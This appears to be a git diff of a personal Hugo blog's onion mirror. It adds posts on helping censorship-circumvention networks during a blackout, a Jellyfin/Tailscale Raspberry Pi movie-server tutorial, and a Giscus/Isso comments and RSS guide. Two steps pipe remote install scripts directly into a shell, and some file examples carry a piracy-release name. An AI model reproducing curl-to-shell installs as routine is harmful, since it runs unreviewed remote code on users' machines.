    None of this makes you anonymous or magically protected from local laws. You’re contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what you’re running.

    +

    The good news is that all of these tools are designed so you’re not manually granting access to random people. You’re volunteering into networks that already do the hard parts.

    +

    That’s the part I like.

    +
    +

    The quiet satisfaction of it all

    +

    There’s something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldn’t.

    +

    No dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by.

    +

    And honestly? That’s enough.

    +
    +

    Some rants

    +

    I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we’ve been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom’s face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :(

    +

    This is super sad and frustrating. I’ve not really been writing anything due to this. When I came back from my congress + Vienna trip, I’ve been dealing with this situation. It’s just annoying. Let’s cross our fingers for one of my fantasy mind‑created things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. Uh… :(

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSoETRAAm6hrWmkHuZeV8JvwSruIuOLkb5LjziFswHUJ8eHrkS+WczSN1mgw5rrx
    +A7pKwjInH+uf/gs3u84Fx9rrgwPTfLQN+++iuDYobWddwFWvXyCpJ/nBene2i8Dr
    +EwLxgEHAAUEDVmhQLv0TkRdFwhc4Rsds5ajDZHgWzj1GPw6SLpH4QCe02fvBm4Xu
    +5E+QArl1w47DLJMktoxCT/8tTRtEdls8hwu5WHRJmq3PLJmC9ScSrUmN3S9k3Nrj
    +Ue5mkkZB25fCojBfRkfska9iYsASi2WxuKLsoiqbRqvi2KdgZ7OIGZM5HRUf9WNH
    +XEBD36MCgXA3YEjZPhBrVbOXsqosa5MLiV7XD684K6YsKf37hxqZC7p+XhtcHxwh
    +Pg6AkODzJuZJV2h75UhqHiLSB9xhpX1mtV8IaToyiGRjnLuDthEDsFe7JjejF2cx
    +EXK9Jop7SSqAbB95WsLiWZtvaBgmcyv7XLoe9v5xAm0HyQ97Jn84hnXB1d8QQon7
    +YYCMNgyLDMo7TlI4HPmgVQYU7/P4xbo6cBdOicif8N+kj0Pf6uFQZ8TB+/Grqsgo
    +xqyrVpCTo/FjabJc8ybN36GwuZVMXpkl3etf2Tmls4A4jDP6CsB5F9vcRnVHyeic
    +pihbZa4Gb9GZTdFmFAHuXVHyVU9APRAq9MMmrUJB9oJgvCOM+Cw=
    +=t4W3
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/blackout.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/blackout.md.asc
    +gpg --verify blackout.md.asc blackout.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/boredom/index.html b/public-onion/posts/boredom/index.html new file mode 100644 index 0000000..b980895 --- /dev/null +++ b/public-onion/posts/boredom/index.html @@ -0,0 +1,674 @@ + + + + + + + +Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 +

    +
    + A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later. +
    + +
    + +

    Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.

    +

    I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

    +

    This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

    +

    The idea

    +

    Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

    +

    The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

    +

    What you need

    +

    My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

    +

    Step one: choose a home for your stuff

    +

    Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

    +

    On the Pi, I created a little directory neighborhood under /srv:

    +
    sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
    +sudo chown -R $USER:$USER /srv
    +

    If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

    +

    Step two: install Docker and start thinking in containers

    +

    I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

    +

    A typical install flow on Raspberry Pi OS looks like this:

    +
    sudo apt update
    +sudo apt install -y ca-certificates curl
    +curl -fsSL https://get.docker.com | sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +docker --version
    +docker compose version
    +

    Now for the part that feels like summoning a friendly daemon.

    +

    Step three: Jellyfin, running happily in Docker

    +

    In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

    +

    Here’s a simple docker-compose.yml that works well on a Pi:

    +
    services:
    +  jellyfin:
    +    image: jellyfin/jellyfin:latest
    +    container_name: jellyfin
    +    user: "1000:1000"
    +    ports:
    +      - "8096:8096/tcp"
    +      - "7359:7359/udp"
    +    volumes:
    +      - /srv/jellyfin/config:/config
    +      - /srv/jellyfin/cache:/cache
    +      - /srv/media:/media
    +    restart: unless-stopped
    +

    If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

    +

    I started Jellyfin like this:

    +
    cd /srv/compose/jellyfin
    +docker compose up -d
    +

    After that, Jellyfin lived at http://<pi-lan-ip>:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

    +

    Step four: Tailscale, the magic door for friends

    +

    Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

    +
    curl -fsSL https://tailscale.com/install.sh | sh
    +sudo tailscale up
    +tailscale ip -4
    +

    That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

    +
    http://100.x.y.z:8096
    +

    Or if you enabled magicDNS:

    +
    http://rpi:8096
    +

    The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

    +

    If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

    +

    Step five: create a Jellyfin user for your friend

    +

    Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

    +

    If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

    +

    Step six: the secret to a smooth Pi movie night is Direct Play

    +

    A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

    +

    For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

    +

    The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"
    +

    Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"
    +

    Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

    +

    Step seven: SyncPlay, aka “we pressed play together”

    +

    Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

    +

    Starting on microSD, graduating to SSD later

    +

    Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

    +

    The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

    +

    Where this goes next

    +

    Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

    +

    For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

    +

    Happy streaming.

    +

    The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
    +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF
    +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
    +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
    +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
    +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh
    +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
    +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf
    +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp
    +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
    +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
    +=/K6E
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md.asc
    +gpg --verify boredom.md.asc boredom.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/comments-rss-papermod/index.html b/public-onion/posts/comments-rss-papermod/index.html new file mode 100644 index 0000000..5e74c38 --- /dev/null +++ b/public-onion/posts/comments-rss-papermod/index.html @@ -0,0 +1,1235 @@ + + + + + + + +New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) +

    +
    + A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. +
    + +
    + +
    +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
    +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

    +
    +

    I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

    +
      +
    • I don’t want to get attacked by bots or random people for no reason.
    • +
    • I don’t want to allow weird things to happen.
    • +
    • I don’t want to have a database for it.
    • +
    +

    So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

    +
    +

    What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

    +
    +

    What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

    +
    +

    Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

    +
    +

    Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

    +

    With the notice out of the way let’s dive right in!

    +
    +

    Why I chose Giscus (instead of Disqus)

    +
      +
    • No ads or trackers (my page weight thanks me).
    • +
    • Uses GitHub Discussions (portable, transparent, easy to search).
    • +
    • Readers log in with GitHub (no mystery auth popups).
    • +
    • In theory you can directly go to the repo’s discussion section and comment there!
    • +
    +
    +

    What you need (for your site, not per user)

    +
      +
    • A Hugo site using PaperMod
    • +
    • A GitHub account ✅
    • +
    • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
    • +
    • Giscus app installed on that repo ✅
    • +
    +

    If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

    +
    +

    1) Turn on comments with Giscus

    +

    PaperMod renders a comments.html partial when params.comments = true.
    +So we enable it in config and create the partial.

    +

    1.1 Enable comments globally

    +

    hugo.toml (snippet)

    +
    [params]
    +  comments = true
    +

    You can still opt out per post with comments = false in front matter.

    +

    1.2 Create the comments partial

    +

    Create this file in your site (not inside the theme):

    + +
    layouts/partials/comments.html
    + +

    Paste the Giscus embed (swap the placeholders with yours from giscus.app):

    +
    <section id="comments" class="giscus">
    +  <script
    +    src="https://giscus.app/client.js"
    +    data-repo="yourname/blog-comments"
    +    data-repo-id="YOUR_REPO_ID"
    +    data-category="Comments"
    +    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
    +    data-mapping="pathname"
    +    data-strict="0"
    +    data-reactions-enabled="1"
    +    data-emit-metadata="0"
    +    data-input-position="bottom"
    +    data-theme="preferred_color_scheme"
    +    data-lang="en"
    +    data-loading="lazy"
    +    crossorigin="anonymous"
    +    async>
    +  </script>
    +  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
    +</section>
    +

    Notes

    +
      +
    • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
    • +
    • data-mapping="pathname" works great for static sites.
    • +
    • Prefer a public repo so visitors can read discussions without friction.
    • +
    • Want a different language? Change data-lang (e.g., de, fr).
    • +
    +
    +

    2) Enable RSS (home + sections)

    +

    Hugo already knows how to generate feeds; we just tell it where.

    +

    hugo.toml

    +
    baseURL = "https://example.com/"  # set your production URL
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1   # -1 = no cap; or set e.g. 20
    +

    Feed URLs

    +
      +
    • Home feed: /index.xmlhttps://example.com/index.xml
    • +
    • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
    • +
    +
    +

    If you’re using a .onion address or staging domain, just set that in baseURL.
    +Locally, Hugo serves feeds at http://localhost:1313/index.xml.

    +
    +

    3) Show an RSS button on the home page

    +

    PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

    +

    Option A — Use the home “social icons” row

    +

    This appears if you enable Home-Info or Profile mode:

    +
    [params.homeInfoParams]
    +  Title = "Hello, internet!"
    +  Content = "Notes, experiments, and occasional rabbit holes."
    +
    +[[params.socialIcons]]
    +  name = "rss"        # lowercase matters
    +  url  = "/index.xml"
    +
    +

    Create:

    + +
    layouts/partials/extend_footer.html
    + +

    Paste:

    +
    <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
    +  {{ partial "svg.html" (dict "name" "rss") }}
    +  <span>RSS</span>
    +</a>
    +

    Make it a sensible size:

    +

    Create:

    + +
    assets/css/extended/rss.css
    + +

    Paste:

    +
    /* Small & aligned RSS icon in the footer */
    +.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
    +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
    +.rss-link span { font-size: .95rem; }
    +

    PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

    +
    +

    4) Verify everything

    +

    Build or run dev:

    +
    hugo           # outputs to ./public
    +# or
    +hugo server    # serves at http://localhost:1313
    +

    Check feeds:

    +
    # Home feed:
    +curl -s http://localhost:1313/index.xml | head
    +
    +# A section feed (adjust path to your section name):
    +curl -s http://localhost:1313/posts/index.xml | head
    +

    Check comments:

    +
      +
    1. Open any post locally.
    2. +
    3. Scroll to the bottom — Giscus should appear.
    4. +
    5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
    6. +
    +
    +

    5) Per-post controls (handy later)

    +

    Turn comments off for a single post:

    +
    # in that post’s front matter
    +comments = false
    +

    Full content in RSS (global):

    +
    [params]
    +  ShowFullTextinRSS = true
    +

    Show RSS buttons on section/taxonomy lists:

    +
    [params]
    +  ShowRssButtonInSectionTermList = true
    +

    +

    6) Troubleshooting (aka “what I bumped into”)

    +
      +
    • +

      Home page has no RSS icon
      +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

      +
    • +
    • +

      Section feed 404
      +Folder names are lowercase (content/posts/, not content/Posts/).
      +The URL mirrors that: /posts/index.xml.

      +
    • +
    • +

      Giscus doesn’t create a discussion
      +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
      +Make sure Discussions is enabled and the Giscus app is installed for the repo.

      +
    • +
    • +

      Icon is comically large
      +Keep the CSS above; 16–20px usually looks right.

      +
    • +
    +
    +

    7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

    +
    # Create the public comments repo (adjust names)
    +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
    +
    +# Enable Discussions for it
    +gh repo edit yourname/blog-comments --enable-discussions
    +

    Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

    +
    +

    Final config snapshot (condensed)

    +
    baseURL = "https://example.com/"
    +theme = "PaperMod"
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1
    +
    +[params]
    +  comments = true
    +  ShowRssButtonInSectionTermList = true
    +  ShowFullTextinRSS = true
    +
    +# Optional if using Home-Info/Profile mode:
    +# [[params.socialIcons]]
    +#   name = "rss"
    +#   url  = "/index.xml"
    +

    +

    Appendix — Why I added Isso, how I wired it, and what I fixed

    +

    The story (why Isso + why I still keep Giscus)

    +

    I wanted comments that:

    +
      +
    • allow anonymous replies (no GitHub account required),
    • +
    • are lightweight and self-hosted, and
    • +
    • can work on my Tor .onion mirror.
    • +
    +

    Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

    +

    Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

    +

    How I run it (high-level)

    +
      +
    • Site: Hugo + PaperMod
    • +
    • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
    • +
    • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
    • +
    • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
    • +
    +
    +

    I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

    +

    Hugo partial: switcher + embeds

    +

    Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

    +
    <!-- comments.html -->
    +<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
    +  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
    +  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
    +  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
    +</div>
    +
    +<!-- Isso panel (default) -->
    +<div id="panel-isso">
    +  <section id="isso-thread"></section>
    +  <script
    +    src="/isso/js/embed.min.js"
    +    data-isso="/isso"
    +    data-isso-css="true"
    +    data-isso-lang="en"
    +    data-isso-max-comments-nested="5"
    +    data-isso-sorting="newest"
    +    async>
    +  </script>
    +  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
    +    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
    +  </small>
    +</div>
    +
    +<!-- Giscus panel (lazy-loaded on click) -->
    +<div id="panel-giscus" style="display:none">
    +  <section id="giscus-thread"></section>
    +</div>
    +
    +<script>
    +(function () {
    +  const panelIsso = document.getElementById('panel-isso');
    +  const panelGisc = document.getElementById('panel-giscus');
    +  const issoBtn = document.getElementById('btn-isso');
    +  const giscBtn = document.getElementById('btn-giscus');
    +  let gLoaded = false;
    +
    +  function isDark() {
    +    // 1) explicit PaperMod preference
    +    const pref = localStorage.getItem('pref-theme');
    +    if (pref === 'dark')  return true;
    +    if (pref === 'light') return false;
    +
    +    // 2) page state (classes / data-theme)
    +    const H = document.documentElement, B = document.body;
    +    const hasDark =
    +      H.classList.contains('dark') || B.classList.contains('dark') ||
    +      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
    +      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
    +    if (hasDark) return true;
    +
    +    // 3) OS preference
    +    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
    +  }
    +  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
    +
    +  function loadGiscus() {
    +    if (gLoaded) return;
    +    const s = document.createElement('script');
    +    s.src = 'https://giscus.app/client.js';
    +    s.async = true;
    +    s.crossOrigin = 'anonymous';
    +    s.setAttribute('data-repo','AlipourIm/blog-comments');
    +    s.setAttribute('data-repo-id','R_kgDOQGARyA');
    +    s.setAttribute('data-category','Comments');
    +    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
    +    s.setAttribute('data-mapping','pathname');
    +    s.setAttribute('data-strict','0');
    +    s.setAttribute('data-reactions-enabled','1');
    +    s.setAttribute('data-emit-metadata','0');
    +    s.setAttribute('data-input-position','bottom');
    +    s.setAttribute('data-lang','en');
    +    s.setAttribute('data-theme', gTheme());  // initial theme
    +    document.getElementById('giscus-thread').appendChild(s);
    +
    +    // Retheme once iframe exists
    +    const reTheme = () => {
    +      const iframe = document.querySelector('iframe.giscus-frame');
    +      if (!iframe) return;
    +      iframe.contentWindow?.postMessage(
    +        { giscus: { setConfig: { theme: gTheme() } } },
    +        'https://giscus.app'
    +      );
    +    };
    +
    +    // PaperMod toggle button
    +    document.getElementById('theme-toggle')?.addEventListener('click', () =>
    +      setTimeout(reTheme, 0)
    +    );
    +
    +    // Also react to attribute changes
    +    const mo = new MutationObserver(reTheme);
    +    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
    +    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
    +
    +    gLoaded = true;
    +  }
    +
    +  function show(which) {
    +    const showIsso = which === 'isso';
    +    panelIsso.style.display = showIsso ? 'block' : 'none';
    +    panelGisc.style.display = showIsso ? 'none'  : 'block';
    +    issoBtn?.setAttribute('aria-pressed', showIsso);
    +    giscBtn?.setAttribute('aria-pressed', !showIsso);
    +    if (!showIsso) loadGiscus();
    +  }
    +
    +  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
    +  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
    +
    +  // default
    +  show('isso');
    +})();
    +</script>
    +

    Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

    +

    The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

    +

    Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

    +
    # /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
    +server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
    +
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +
    +    # /isso -> /isso/
    +    location = /isso { return 301 /isso/; }
    +
    +    # IMPORTANT: this must beat regex locations below
    +    location ^~ /isso/ {
    +        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
    +        proxy_http_version 1.1;
    +        proxy_set_header Host $host;
    +        proxy_set_header X-Forwarded-Host $host;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +        proxy_redirect off;
    +        proxy_read_timeout 60s;
    +    }
    +
    +    # static
    +    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Reload and smoke test:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
    +
    +

    If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

    +

    Small CSS tweaks (one color across light/dark + spacing)

    +

    I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

    +
    /* put this in your site CSS */
    +:root { --btn-blue: #2563eb; } /* adjust to taste */
    +
    +/* Isso form buttons */
    +.isso-post-action input[type="submit"],
    +.isso-post-action input[name="preview"] {
